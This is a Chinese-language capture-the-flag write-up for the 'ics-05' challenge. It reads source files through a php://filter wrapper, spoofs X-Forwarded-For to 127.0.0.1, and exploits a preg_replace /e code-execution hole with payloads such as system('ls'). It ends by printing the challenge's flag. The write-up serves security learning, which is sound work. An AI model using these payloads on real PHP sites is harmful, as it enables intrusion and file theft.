> 文章列表 > ics-05(命令执行漏洞及伪协议读取)

ics-05(命令执行漏洞及伪协议读取)

ics-05(命令执行漏洞及伪协议读取)

打开链接,似曾相识的感觉(前面做过一道题叫ics-06,那道题是对id的一个爆破)

尝试后发现只有设备维护中心可以跳转

 这和我们使用御剑扫描出来的结果是一样的

 使用PHP伪协议读取 index.php 页面

构造payload(在愚人杯http://t.csdn.cn/5XorV中的第五题有对这个PHP伪协议的讲解)
php://filter/read=convert.base64-encode/resource=index.php

得到了一串很长的字符,从结尾来看应该是base64

对其解码后得到index.php 的源代码

 关键代码

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

preg_replace 函数使用 /e 模式,导致代码执行问题

pat值和sub值相同,rep的代码就会执行。

将 X-Forwarded-For 设置为 127.0.0.1

preg_replace 函数具有代码执行漏洞

 preg_replace("/php/e", $_GET['cmd'], 'php');

 参数 pattern 带有/e 时,preg_replace 就会把 replacement 参数当做命令执行

对这个代码利用,需要将 X-Forwarded-For 设置为 127.0.0.1

因为这里要求 X-Forwared-For 来源于本地

我们在 http 头加上 X-Forwarded-For: 127.0.0.1 访问设备维护中心的页面

 测试 payload:

?pat=/test/e&rep=phpinfo()&sub=test (记得还是要加上X-Forwarded-For: 127.0.0.1)

可以看到 phpindo() 被成功执行

构造payload:

?pat=/test/e&rep=var_dump(`dir`)&sub=test

或者

?pat=/php/e&rep=system("ls")&sub=php

 得到目录 s3chahahaDir

直接访问

进入flag,里面有一个flag.php

直接打开的话是空白

我们通过伪协议来读取 flag.php

构造payload:

?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php

 得到

PD9waHAKCiRmbGFnID0gJ2N5YmVycGVhY2V7MzM1NWVmNzA2NGNkM2JkNDBkZmRlNGNmZjRjMWUxMzl9JzsKCj8+Cg==

经base64解码后

 得到flag

cyberpeace{3355ef7064cd3bd40dfde4cff4c1e139}